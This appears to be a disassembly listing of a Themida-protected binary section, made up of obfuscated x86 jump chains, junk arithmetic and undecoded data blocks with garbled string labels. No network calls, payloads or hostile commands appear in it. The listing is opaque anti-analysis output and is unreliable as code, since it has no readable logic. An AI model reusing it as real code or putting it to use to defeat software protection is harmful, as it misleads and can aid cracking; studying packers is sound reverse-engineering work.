dd 0DE010000h, 81241C8Bh, 4C4h, 4C68100h, 87000000h, 0A1E92434h
dd 89000048h, 0E9215EF5h, 81242C8Bh, 4C4h, 6E9C100h, 0E9E28952h
dd 63D6h
; ---------------------------------------------------------------------------
loc_54420C: ; CODE XREF: Themida_:00542677j
xor ebx, 24EA4F5Dh
jmp loc_54A62A
; ---------------------------------------------------------------------------
loc_544217: ; CODE XREF: Themida_:00548FE7j
jmp loc_543A7E
; ---------------------------------------------------------------------------
loc_54421C: ; CODE XREF: Themida_:00545CC6j
mov esi, [esp]
add esp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_541378
; ---------------------------------------------------------------------------
db 30h
dd 0B65259C8h, 78E68087h, 0E901C680h, 0FFFFE601h
; ---------------------------------------------------------------------------
loc_544248: ; CODE XREF: Themida_:0054C845j
pop esp
sub edi, 315F03F6h
jmp loc_541EE2
; ---------------------------------------------------------------------------
dd 6FBD68h, 24148900h, 4BAh, 0FFD50100h, 5EE92434h, 5FFFFFDEh
dd 72F868h, 241C8900h, 573BE9h, 0E7686600h, 66546612h
db 8Fh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 2
xchg ebp, [esp]
pop esp
mov [esp], ax
push edx
mov dx, 26E1h
push 33C5h
mov [esp], eax
mov ax, 3912h
add ax, 1B6h
shl ax, 5
xor ax, 8F6h
sub dx, 6EE6h
add dx, ax
add dx, 6EE6h
pop eax
add dx, 872Bh
mov ax, dx
pop edx
sub word ptr [esp+2], 7452h
jmp loc_544AEB
; ---------------------------------------------------------------------------
db 42h
dd 0F346E956h, 875FFFFFh, 248B2434h, 0D08EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5442EA: ; CODE XREF: Themida_:00549B14j
mov edi, [esp]
jmp loc_549133
; ---------------------------------------------------------------------------
dw 6857h
dd 1308h, 0E9240489h, 0FFFFDC66h, 0E924048Bh, 322Ch, 197BBF57h
dd 0F9093A77h, 55BD555Fh, 0F74FF552h, 81EDD1DDh, 0EF4C35E5h
dd 12C2E93Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544326: ; CODE XREF: Themida_:0054B7CAj
sub ecx, ebx
pop ebx
add ebx, ecx
jmp loc_548852
; ---------------------------------------------------------------------------
loc_544330: ; CODE XREF: Themida_:00541D85j
add edx, ebp
sub edx, 715A0081h
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 24h
sub ebx, 1581164Bh
add ebx, edi
add ebx, 1581164Bh
add [ebx], edx
mov ebx, [esp]
add esp, 4
pop edx
loc_54435B: ; CODE XREF: Themida_:00549EDFj
push 40C7h
mov [esp], esi
mov esi, ebx
push edi
push 72B7h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5498A9
; ---------------------------------------------------------------------------
loc_544378: ; CODE XREF: Themida_:00549A37j
and edx, 5B48196Bh
push edx
not dword ptr [esp]
pop edx
push eax
mov eax, 146E61D3h
push ebx
push esi
jmp loc_54D5E6
; ---------------------------------------------------------------------------
dd 0FFC0B60Fh, 0C0E98734h, 81000007h, 4ECh, 48F5400h, 24048324h
dd 2434FF04h, 0E689565Fh, 4C681h, 0C6830000h, 4CE5E904h
dd 0EBC10000h, 0F4F38107h, 0C13BAC50h, 0C38103E3h, 211349A4h
dd 1C8BDD01h, 4C48124h, 68000000h, 33F8h, 0B9240C89h, 2
dd 7DECE9h, 8BE80100h, 0C481242Ch, 4, 81BFE956h, 4050000h
dd 0E9000000h, 5571h
; ---------------------------------------------------------------------------
loc_544408: ; CODE XREF: Themida_:0054CC2Cj
push ecx
mov ecx, 3E367888h
add edx, ecx
pop ecx
xor edx, 166508C8h
jmp loc_544903
; ---------------------------------------------------------------------------
dd 4C481h, 3C870000h, 472CE924h, 0BE560000h, 342D0792h
dd 315EF531h, 242C8BEFh, 4C481h, 75E90000h, 0BF00004Bh
dd 43DD30D2h, 1CE9EF31h, 0C1000059h
dword_544450 dd 0F58107E5h, 151E2C2Ch, 815DEE01h, 830CD3C5h, 81F52942h
; DATA XREF: ___:off_43B084o
dd 830CD3EDh, 0D442E942h, 489FFFFh, 8A82E924h, 34FF0000h
dd 55BE924h, 81580000h, 9C7B0FF3h, 5BD82900h, 8B240487h
dd 1C892424h, 3B5B6824h, 15B4474h, 4DE95BD8h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54449F: ; CODE XREF: Themida_:005435EFj
pop edx
jmp loc_54581C
; ---------------------------------------------------------------------------
db 81h, 0EDh, 61h
dd 1789B62h, 61C581DDh, 5B789B62h, 2BF57h, 0FD010000h
dd 83243C8Bh, 0FF5504C4h, 8B042474h, 8953242Ch, 4C381E3h
dd 56000000h, 1A0387BEh, 81D6F751h, 0A95634CEh, 81D6F771h
dd 120187F6h, 5EF30100h, 636EE9h, 2C48300h, 53FFC680h
dd 82EBE9h
db 0
; ---------------------------------------------------------------------------
loc_5444FD: ; CODE XREF: Themida_:00548BA3j
mov [esp], edx
push eax
push ebp
mov ebp, 420B67B0h
or ebp, 5201933h
sub ebp, 1B7D3E26h
jmp loc_5421E5
; ---------------------------------------------------------------------------
dd 243C8758h, 48B665Ch, 4EC8124h, 89000000h, 5F54243Ch
dd 4C781h, 0FE90000h, 81000062h, 2ECh, 1C896600h, 2AFB6824h
dd 43E90000h, 5800000Bh, 1FBBE9h
db 0
; ---------------------------------------------------------------------------
loc_544551: ; CODE XREF: Themida_:00543422j
pop ecx
add esi, edi
pop edi
push ebx
jmp loc_543B6D
; ---------------------------------------------------------------------------
loc_54455B: ; CODE XREF: Themida_:00548F7Cj
mov esi, 63E27736h
and esi, 129843B7h
push ecx
mov ecx, 2468258Dh
xor ecx, 17C94DF5h
jmp loc_548B75
; ---------------------------------------------------------------------------
loc_544577: ; CODE XREF: Themida_:00543928j
mov [edi+eax*4+1], dh
pop edx
mov ebx, [esp]
add esp, 4
jmp loc_542605
; ---------------------------------------------------------------------------
dw 5CB4h
dd 5866E630h, 534BE680h, 0FE3067B7h, 81241C8Bh, 4C4h, 230400h
dd 7C91E9F0h, 48B0000h, 1FD7E924h, 0D0010000h, 4EC815Ah
dd 89000000h, 0FBE9243Ch, 66000061h, 68240C8Bh, 77DCh
dd 54242C89h, 0FFDD53E9h, 4EC83FFh, 81240C89h, 4ECh, 24248900h
dd 0FFF996E9h, 7FC581FFh, 31FE045Ah, 0C1315DE8h, 3EC18158h
dd 31429DC8h, 0EB8159C8h, 49602471h, 2C05C381h, 0B95179BEh
dd 1DB2660Bh, 31DBE9h, 13BF5700h, 812CE51Bh, 34E27CEFh
dd 0F5D8E9ECh, 32FFFFFFh, 0FFCD4BE9h, 4C381FFh, 81000000h
dd 4C3h, 241C8700h, 0DA79E95Ch, 875BFFFFh, 895C2414h, 8B54242Ch
dd 0C481242Ch, 4, 0FFFBFBE9h, 80C6FEFFh, 0F100B1F6h, 59C8285Ah
dd 5904F000h, 8124148Bh, 4C4h, 2EC8300h, 93EBE9h
db 0
; ---------------------------------------------------------------------------
loc_544679: ; CODE XREF: Themida_:00546196j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_54CEC9
; ---------------------------------------------------------------------------
db 81h
dd 61100DC1h, 0E9CD0160h, 9351h, 0E95AD021h, 0CC1h, 2404875Fh
dd 2EC835Ch, 240C8966h, 448768h, 0E4E9E900h, 0C183FFFFh
dd 240C8704h, 24048F5Ch, 0C8B665Ch, 139D6824h, 1C890000h
dd 50E38924h, 4B8h, 24EB8100h, 0E910152Fh, 0FFFFD09Ah
; ---------------------------------------------------------------------------
loc_5446E0: ; CODE XREF: Themida_:005457CBj
sub bl, 0AEh
add bl, ch
add bl, 0AEh
sub bl, 52h
add bl, 0F7h
pop cx
sub bl, 2Ah
sub bl, al
jmp loc_549439
; ---------------------------------------------------------------------------
dw 0F740h
dd 0DB2D40D0h, 551C3870h, 0EB12D6BDh, 0C5ED8100h, 0E909E57Bh
dd 0FFFFFA3Bh, 4DA2E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54471A: ; CODE XREF: Themida_:0054637Dj
mov ebx, [esp]
jmp loc_5476A8
; ---------------------------------------------------------------------------
aSz4 db '°]éz4',0
dd 3FA5B900h, 0F1810D43h, 45567263h, 0B4B85055h, 0C1500C5Ch
dd 2D4805E8h, 0DA00517Dh, 158C589h, 0D302E9E9h, 0C268FFFFh
dd 0E9000012h, 3872h, 739FE959h, 15E90000h
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544763: ; CODE XREF: Themida_:0054A525j
mov ebx, edx
jmp loc_54D599
; ---------------------------------------------------------------------------
loc_54476A: ; CODE XREF: Themida_:0054A6BCj
add esp, 4
jmp loc_546745
; ---------------------------------------------------------------------------
loc_544775: ; CODE XREF: Themida_:00549BA4j
shr edx, 1
cmp eax, edx
jz loc_543A7E
sub esp, 4
mov [esp], eax
jmp loc_541644
; ---------------------------------------------------------------------------
dw 0B568h
dd 89000026h, 71E9241Ch, 81000066h, 17662AF7h, 0FA895239h
dd 0C2E9D689h, 80FFFFECh, 0F3006BEEh, 5124148Bh, 0C181E189h
dd 4, 6435E9h, 1C77FF00h, 1058669Dh, 0E99C2404h, 0FFFFCBACh
dd 0D656C1BFh, 8E7C121h, 0C104F781h, 0C381D656h, 1AF67E7Ch
dd 0EB81FB01h, 1AF67E7Ch, 81243C8Bh, 4C4h, 2C38100h, 53000000h
dd 42474FFh, 1FD9E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544802: ; CODE XREF: Themida_:00542E04j
neg edx
sub edx, 76EC3CBEh
jmp loc_54CD1D
; ---------------------------------------------------------------------------
loc_54480F: ; CODE XREF: Themida_:0054619Ej
xor ebp, [esp]
mov esp, [esp]
push 1599h
mov [esp], esi
mov esi, 78DB692Ah
sub esp, 4
mov [esp], ebp
jmp loc_54BFCE
; ---------------------------------------------------------------------------
loc_54482D: ; CODE XREF: Themida_:0054D8DDj
push dword ptr [esp]
pop ebx
jmp loc_545952
; ---------------------------------------------------------------------------
dw 0ED81h
dd 2D3D3C19h, 40E9DD01h, 8B000000h, 0C892424h, 0CB2AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54484E: ; CODE XREF: Themida_:0054B320j
and esi, eax
pop eax
jmp loc_54B669
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 0FFFFCE7Dh, 3C8BF801h, 4C48324h, 8B240487h, 0CFF2424h
dd 5E99C24h, 1FFFFCBh, 87A2E9D9h, 0B3B00000h, 16E9C3B1h
dd 56000039h, 3D3C19BEh, 5EF5012Dh, 83241C8Bh, 0C58304C4h
dd 242C8704h, 0E924248Bh, 0FFFFCAD8h, 53F2E950h, 34FF0000h
dd 0E9535824h, 0FFFFD831h, 0EB86C581h, 0EF294D76h, 0FDEF815Dh
dd 2924973Ah, 243C8BFAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_548406
; ---------------------------------------------------------------------------
dd 4244481h, 7E19543Ah, 4246C01h, 543AB850h, 6C817E19h
dd 4AC50824h, 0E1E96183h, 52000045h, 0D2F6DA88h, 3AA0E9h
dd 24048900h, 4A5385B8h, 39E9571Ch
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544903: ; CODE XREF: Themida_:00544417j
add edx, 57AA5566h
add edx, 14CC3EB8h
add ebp, edx
pop edx
jmp loc_5495A6
; ---------------------------------------------------------------------------
loc_544917: ; CODE XREF: Themida_:00548A61j
shr ebx, 7
dec ebx
add ebx, 0A432EE1h
jmp loc_543E17
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24148904h, 0C281E289h, 4, 8904EC83h, 0E9522404h, 8144h
dd 51D3E95Ch, 0BF580000h, 0CE1C9ED0h, 215AD701h, 243C8BF8h
dd 4C481h, 0C2090000h, 3168E2D1h, 89000012h, 1BE92404h
dd 5B000005h, 0FFCA07E9h, 300025FFh, 0E0C10C6Bh, 0F5B0D05h
dd 0E0C1298Ch, 24930508h, 0C331A91Fh, 0FFFAF1E9h, 4C483FFh
dd 8304C483h, 348702C6h, 0CD25C24h, 0D5E99C24h, 2DFFFFC9h
dd 3AAD5060h, 0CDDEE95Fh, 0D829FFFFh, 874C4C05h, 1AE95659h
dd 5EFFFFD9h, 0E924048Fh, 344Bh
; ---------------------------------------------------------------------------
loc_5449C4: ; CODE XREF: Themida_:0054C2BBj
add esp, 4
shr eax, 10h
xor eax, ecx
push 7FF2h
jmp loc_546CD8
; ---------------------------------------------------------------------------
db 5Fh, 0E9h, 7Bh
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5449DF: ; CODE XREF: Themida_:0054521Ej
add edx, edi
push 7FE7h
mov [esp], ecx
jmp loc_54CACA
; ---------------------------------------------------------------------------
db 5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
jmp loc_547FAC
; ---------------------------------------------------------------------------
db 0ACh
dd 0FFCD92E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_544A09: ; CODE XREF: Themida_:00542623j
xchg ebp, [esp]
jmp loc_546066
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 3
dd 8024EA81h, 0D0010101h, 4EBF575Ah, 811DD365h, 687F3FE7h
dd 83EF8120h, 0E972B15Bh, 0FFFFD9C9h
; ---------------------------------------------------------------------------
loc_544A34: ; CODE XREF: Themida_:0054BE8Bj
mov dh, 15h
and dh, 0AFh
not dh
jmp loc_5481ED
; ---------------------------------------------------------------------------
dd 6DCE8166h, 0F6816643h, 4E664F37h, 402E6866h, 0BA7E9h
dd 68D82900h, 69D5h, 0BE243489h, 1B8011A5h, 3432BB53h
dd 0D8012499h, 76F9E9h, 81DAF700h, 3F77F5CAh, 0E6E95065h
dd 89FFFFD8h, 22B7241Ch, 0E903EFC0h, 8E69h, 2288C781h
dd 0F8298B17h, 240C8B5Fh, 0E9E78957h, 0FFFFCBE8h, 75E95266h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544AA7: ; CODE XREF: Themida_:0054789Bj
add edi, eax
pop eax
sub [esp+8], edi
pop edi
add [esp+4], edx
add dword ptr [esp+4], 3FEE3A5Dh
push dword ptr [esp]
pop edx
add esp, 4
mov ecx, [esp]
add esp, 4
jmp loc_54B87E
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFC8A0h
; ---------------------------------------------------------------------------
loc_544AD8: ; CODE XREF: Themida_:0054D933j
pop edx
dec edi
jmp loc_54A6C1
; ---------------------------------------------------------------------------
aTs db 'Té<',0Dh,0
db 0
; ---------------------------------------------------------------------------
loc_544AE5: ; CODE XREF: Themida_:00548761j
pop ebp
jmp loc_54C273
; ---------------------------------------------------------------------------
loc_544AEB: ; CODE XREF: Themida_:005442D2j
sub word ptr [esp+2], 6E7Eh
jmp loc_54C402
; ---------------------------------------------------------------------------
loc_544AF7: ; CODE XREF: Themida_:0054A800j
push 7AF5h
mov [esp], edx
push eax
pushf
jmp loc_541378
; ---------------------------------------------------------------------------
dw 1C89h
dd 0F685B724h, 4EFC0D7h, 3F780h, 0E95B5BF8h, 0FFFFC8FFh
dd 4C75E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544B22: ; CODE XREF: Themida_:0054583Ej
push ebp
jmp loc_54C50F
; ---------------------------------------------------------------------------
dd 4CE9585Dh, 31000019h, 0C33240Ch, 8B665C24h, 8C682404h
dd 8900004Ah, 5A542414h, 4C281h, 7FE90000h, 5A00004Ah
dd 1ED4EA81h, 0EBE955DFh, 68FFFFFDh, 14BDh, 0BA241489h
dd 2F136B85h, 0FFDDD8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_544B6D: ; CODE XREF: Themida_:005413F5j
pop edx
push ecx
jmp loc_5464B8
; ---------------------------------------------------------------------------
dd 0EB885B5Ah, 0C53E9h, 50E68900h, 922E951h, 0F2010000h
dd 5E2434FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
mov eax, 2
jmp loc_5495B8
; ---------------------------------------------------------------------------
dw 875Ah
dd 248B242Ch, 4316624h, 0BBE99C24h, 5D000063h, 84E9515Fh
dd 5DFFFFCCh, 5C241C87h, 2827E9h
db 0
; ---------------------------------------------------------------------------
loc_544BCD: ; CODE XREF: Themida_:0054D6B1j
sub ebx, 76DC3BD8h
sub ebx, 4941ED91h
sub eax, 323520D2h
sub eax, ebx
add eax, 323520D2h
pop ebx
jmp loc_546F00
; ---------------------------------------------------------------------------
db 5Fh
dd 0D2BD5547h, 0E923ED36h, 0FFFFF832h
; ---------------------------------------------------------------------------
loc_544BF8: ; CODE XREF: Themida_:005460D4j
sub ecx, 10255EB3h
shr ecx, 4
add ecx, 9EB991A2h
mov ebx, ecx
pop ecx
push ecx
mov ecx, ebx
mov ebp, ecx
jmp loc_54D8DC
; ---------------------------------------------------------------------------
dd 3304C683h, 34312434h, 1DAE924h, 0D4F60000h, 8039E480h
dd 0F480B6ECh, 0E9E7006Fh, 0FFFFD76Fh, 47D36845h, 0C890000h
dd 82D2E924h, 89660000h, 2DE92404h, 66FFFFC7h, 25E932FFh
dd 0F7FFFFC7h, 512D68E1h, 3DE90000h, 66FFFFD3h, 9C240421h
dd 0FFF025E9h, 815E54FFh, 4C6h, 4EE8300h, 5C243487h, 0E9242489h
dd 5EB9h
; ---------------------------------------------------------------------------
loc_544C80: ; CODE XREF: Themida_:0054AEA4j
pop esp
mov [esp], ebx
push edx
mov edx, 48F4169Fh
or edx, 7A836F05h
xor edx, 5483D48h
mov ebx, edx
pop edx
add ebx, 0F4460C20h
xor eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push 513h
mov [esp], ecx
push ebp
mov ebp, 7EB771Bh
push ecx
jmp loc_544E39
; ---------------------------------------------------------------------------
db 81h
dd 6907242Ch, 2C813C71h, 34412224h, 0C6A6E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544CD2: ; CODE XREF: Themida_:00549792j
add edi, eax
jmp loc_548AC0
; ---------------------------------------------------------------------------
db 29h, 0F3h, 5Eh
dd 0C381C301h, 5927D45h, 660BEB81h, 73E91DB2h, 8900003Eh
dd 4C281E2h, 83000000h, 44E904C2h, 88000041h, 8A5B59EAh
dd 0E902244Ch, 7F86h, 0B9240C89h, 6D1C739Dh, 0FFCDF8E9h
dd 46BB53FFh, 8170FE5Ah, 1679D4C3h, 2FF38176h, 189BF89h
dd 0C3815BDFh, 59AC1163h, 0EB81FB01h, 59AC1163h, 83243C8Bh
dd 8F04C4h, 0FFC62FE9h, 32F381FFh, 516F135Dh, 3759EEB9h
dd 0E9CB296Fh, 2B8Dh, 0F9BE564Bh, 2960669Fh, 4682E9F3h
dd 0EA810000h, 1290A8Fh, 0C15AD501h, 0C58103EDh, 4B9F16Eh
dd 685DE829h, 23E3h, 0B8240489h, 522751C2h, 5F46C381h
dd 0C7E97F9Fh, 3100001Ch, 4332404h, 30FF5C24h, 0FFC5D3E9h
dd 2BFFFh, 0FE890000h, 8BF3015Fh, 0C4832434h, 4EC8104h
dd 89000000h, 74FF241Ch, 0ACE90424h, 1000050h, 240C8BCDh
dd 0E904C483h, 19ECh, 0EFC1D7F7h, 0B1F78103h, 2D42959Eh
dd 73A75750h, 5005F829h, 5F73A757h, 0C544AA2Dh, 4EC817Bh
dd 0E9000000h, 4F2Bh, 5C243433h, 704BE9h, 240C8700h, 5124248Bh
dd 0ECE9FD88h, 8BFFFFFEh, 0C4832434h, 68C33104h, 139Ah
dd 0E9240489h, 0FFFFC550h, 80E95556h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544E2F: ; CODE XREF: Themida_:0054595Aj
pop ecx
sub [esp+4], ebp
jmp loc_549AC2
; ---------------------------------------------------------------------------
loc_544E39: ; CODE XREF: Themida_:00544CBAj
mov ecx, 40421315h
jmp loc_54A4E5
; ---------------------------------------------------------------------------
db 1
dd 5F08247Ch, 4244481h, 269C1A29h, 4247C01h, 4246C81h
dd 269C1A29h, 1C1DBB53h, 5C291E37h, 5F5B0824h, 0FFC50BE9h
dd 4B8FFh, 0C3010000h, 0B5BF5758h, 56113558h, 8E7E3ABEh
dd 3208E978h, 5D680000h, 8900001Dh, 3ABE2434h, 8933EA49h
dd 2434FFF0h, 363AE9h, 0C2E95800h
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544EA3: ; CODE XREF: Themida_:00546E3Cj
dec dl
shl dl, 5
jmp loc_546484
; ---------------------------------------------------------------------------
db 1, 0C3h, 81h
aIckkXsA db 'ë–Kª&X需',0
dw 0B400h
dd 58E78871h, 0FE71E780h, 80C7FECFh, 0C7FE4FE7h, 540CE9h
dd 2434FF00h, 58545059h, 52E4E9h, 0E9C60100h, 23C7h
; ---------------------------------------------------------------------------
loc_544EE4: ; CODE XREF: Themida_:0054927Fj
add esi, 53042186h
sub ebx, 3471488h
add ebx, esi
push edi
mov edi, 3471488h
add ebx, edi
pop edi
jmp loc_54AA76
; ---------------------------------------------------------------------------
dd 24048B66h, 4EC8353h, 51242489h, 4B9h, 244C0100h, 240C8B04h
dd 4C481h, 0D4E90000h, 5400004Fh, 0FFF92DE9h, 8B6664FFh
dd 0B4686602h, 20B2E950h, 0EF810000h, 1FD37479h, 0E95FFD31h
db 59h, 0D8h
word_544F42 dw 0FFFFh ; DATA XREF: ___:off_436CE8o
dd 8B2434FFh, 89502404h, 405E0h, 4050000h, 87000000h, 555C2404h
dd 7400E9h, 0E2895200h, 4C281h, 0BE560000h, 4, 4E4FC281h
dd 0F229154Fh, 4E4FEA81h, 0B3E9154Fh
db 8Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544F83: ; CODE XREF: Themida_:00542C2Fj
movsx ecx, al
push 4E75h
jmp loc_545A24
; ---------------------------------------------------------------------------
dd 5C24048Fh, 0B60F66h, 33768h, 241C8900h, 241C8B54h, 0E904C483h
dd 835Ah, 0FFFEEA81h, 0D50100FFh, 2B9515Ah, 1000000h, 2C3359CDh
dd 2700E924h, 0E0890000h, 405h, 0E487E900h, 489FFFFh, 2434FF24h
dd 5D545558h, 8904EC83h, 4BB241Ch, 0E9000000h, 0FFFFF84Ah
dd 1568C331h, 0E900004Ch, 0FFFFFA87h, 2C0835Eh, 0E9240487h
dd 0FFFFDCB9h
; ---------------------------------------------------------------------------
loc_545004: ; CODE XREF: Themida_:0054837Cj
add esp, 4
add ebp, esi
jmp loc_54AB78
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 6CE95142h, 5EFFFFC3h, 5C24048Fh, 2F13E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545026: ; CODE XREF: Themida_:00548C78j
not ebp
push 73ADh
mov [esp], edi
push 499Bh
mov [esp], ebp
mov edi, [esp]
add esp, 4
push dword ptr [esp]
pop ebp
add esp, 4
xchg edi, [esp]
mov eax, [esp]
add esp, 4
push ecx
sub esp, 4
mov [esp], edx
push edi
mov edi, esp
jmp loc_54A3EE
; ---------------------------------------------------------------------------
dw 2C87h
dd 24248B24h, 9C2404D2h, 0FFC303E9h, 766A25FFh, 0BF2D2CCAh
dd 50C7A4Eh, 0FFF22AB8h, 2958C389h, 0D59AE9DAh, 1489FFFFh
dd 80B4B224h, 0B76821C2h, 8900000Eh, 8853240Ch, 4870E9D7h
dd 0C1810000h, 4, 4C181h, 4EE90000h, 58FFFFFDh, 601BE9h
dd 6F0E6800h, 6AE90000h
db 4Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5450C7: ; CODE XREF: Themida_:0054D5D5j
push edi
mov edi, 4
add [esp+4], edi
pop edi
push dword ptr [esp]
jmp loc_54AB42
; ---------------------------------------------------------------------------
dw 0C87h
dd 0F761E924h, 0C501FFFFh, 4D99C581h, 0E9587662h, 194Dh
dd 5029C180h, 0FCE91BB0h, 8300000Fh, 0C8704E9h, 0E58EE924h
dd 0CFBFFFFFh, 515A505Fh, 0E0690AB9h, 59CF094Dh, 96E78147h
dd 4754756Fh, 579BCF81h, 0F7811BE0h, 5FF07F99h, 0E95FFE89h
dd 546Ah, 24048B66h, 4EC8353h, 2A04E9h, 248B6600h, 0C232E924h
dd 1C89FFFFh, 0E972B724h, 0FFFFCDF3h
; ---------------------------------------------------------------------------
loc_545150: ; CODE XREF: Themida_:0054A39Fj
xor ecx, 25ADBC2Bh
sub edx, ecx
pop ecx
or ebx, edx
pop edx
xor ebx, 7BEC06A3h
xor ebx, 302217DAh
jmp loc_54B618
; ---------------------------------------------------------------------------
db 5Eh, 83h, 0C0h
dd 24048704h, 8124248Bh, 4ECh, 240C8900h, 7F9C68h, 8214E900h
dd 0F7280000h, 8B0CEF80h, 0C4832414h, 0AA2C04h, 8BAA04F8h
dd 8952241Ch, 0D16EE9E2h, 5166FFFFh, 0C1CAE99Ch, 0C5E9FFFFh
dd 5AFFFFC1h, 0BCE9FA01h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5451BB: ; CODE XREF: Themida_:00542BE5j
pop eax
xor edx, [esp]
jmp loc_54823A
; ---------------------------------------------------------------------------
dd 0E9C15Ch, 840FC009h, 7F1Fh, 4EC81h, 1C890000h, 20FBE924h
dd 0E9570000h, 36B8h
; ---------------------------------------------------------------------------
loc_5451E4: ; CODE XREF: Themida_:00545F54j
inc bl
push eax
mov ah, 1Ch
jmp loc_547A2F
; ---------------------------------------------------------------------------
loc_5451EE: ; CODE XREF: Themida_:00541ADBj
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_54B6E3
; ---------------------------------------------------------------------------
dd 0FFC16BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54520D: ; CODE XREF: Themida_:00545D39j
or edx, eax
shl edx, 1
push 3A94h
mov [esp], edx
mov edx, 24h
jmp loc_5449DF
; ---------------------------------------------------------------------------
db 35h
dd 4FDD1F98h, 0E958C101h, 0FFFFF8ECh, 4C581h, 0C5810000h
dd 4, 0E9242C87h, 1732h, 240C8B66h, 241268h, 242C8900h
dd 714C68h, 5FBDE900h, 0C3280000h, 24048B66h, 3E34E9h
dd 59F80400h, 0D800A82Ch, 33CDE9h, 5052AD00h, 174BA7B8h
dd 2624BA1Ch, 7DE94FDAh, 4A000077h, 0E241E94Ah, 1C33FFFFh
dd 4305C24h, 0E1E99C24h, 51FFFFC0h, 240C8B54h, 0FFCB93E9h
dd 243C89FFh, 688CBE56h, 50E928FAh, 0BD000005h, 38623257h
dd 623253BEh, 5DEE3138h, 0FFF8C5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5452C1: ; CODE XREF: Themida_:00541CF5j
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], edx
push 0B48h
jmp loc_5469D4
; ---------------------------------------------------------------------------
loc_5452DE: ; CODE XREF: Themida_:00548194j
add ebx, 6D23488Ch
jmp loc_542CEF
; ---------------------------------------------------------------------------
db 81h, 2Ch, 24h
dd 2512052Ch, 0D263E959h, 0C481FFFFh, 4, 692BE9h, 0E9D58900h
dd 0FFFFE847h
; ---------------------------------------------------------------------------
loc_545308: ; CODE XREF: Themida_:005468C6j
jmp loc_541378
; ---------------------------------------------------------------------------
loc_54530D: ; CODE XREF: Themida_:00549924j
xor ebx, 48E45EBBh
and ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
shr ecx, 7
push 5B3Fh
jmp loc_54ACE5
; ---------------------------------------------------------------------------
aUwW@GbcqLSz db 'UW¿W@',0Bh,'gçq^L`éZ!',0
db 0
; ---------------------------------------------------------------------------
loc_54533B: ; CODE XREF: Themida_:00541C26j
pop esi
add ebx, 40EC28F2h
push ecx
mov ecx, esp
sub esp, 4
mov [esp], edi
mov edi, 25765FAAh
loc_545350: ; DATA XREF: ___:off_43B044o
not edi
shr edi, 5
jmp loc_548CB6
; ---------------------------------------------------------------------------
dw 0D189h
dd 0FFCA9BE9h, 0E9C209FFh, 1F5Fh, 1105F781h, 88050904h
dd 17F1419h, 0AEBF57F8h, 4F007073h, 5A25EF81h, 0F829815Ch
dd 0C0835F5Fh, 24043304h, 33240431h, 248B2404h, 2434FF24h
dd 30606858h, 3C890000h, 52E78924h, 0F6729DBAh, 4F3FE902h
dd 0FF520000h, 8B042474h, 0E9562414h, 0A41h, 0FF2434FFh
dd 81582434h, 4C4h, 0E2895200h, 37DEE9h, 0BFA2E900h, 0DF01FFFFh
dd 0DEC7815Bh, 81DC0CA0h, 0D66724EEh, 81FE0162h, 0D66724C6h
dd 0BD555F62h, 5C377114h, 6B7EBE56h, 0EE81670Fh, 172530E4h
dd 188CEE81h, 0EE812A4Dh, 2CDF7D1h, 0F9E9F529h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545413: ; CODE XREF: Themida_:00548CEDj
push ecx
mov ecx, 5C19166Ch
xor [esp+4], ecx
jmp loc_547BD0
; ---------------------------------------------------------------------------
dw 34FFh
dd 0E9F8E924h, 0EF89FFFFh, 0FFF2E3E9h, 9F781FFh, 3129DA03h
dd 0C3815FF8h, 26AA4B96h, 0FFFA68E9h, 4C681FFh, 68000000h
dd 2ECFh, 0BA241489h, 2, 34FFD601h, 0C4835A24h, 24348704h
dd 6624248Bh, 68240C8Bh, 583h, 0E9243489h, 4D78h, 1C3E68h
dd 24048900h, 4B8h, 0E9C70100h, 0FFFFF11Eh, 7E1D88B8h
dd 58C30168h, 51C2C381h, 0A5685227h, 8900006Fh, 0E957241Ch
dd 0FFFFC151h, 0A002D368h, 0E0D2E94Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
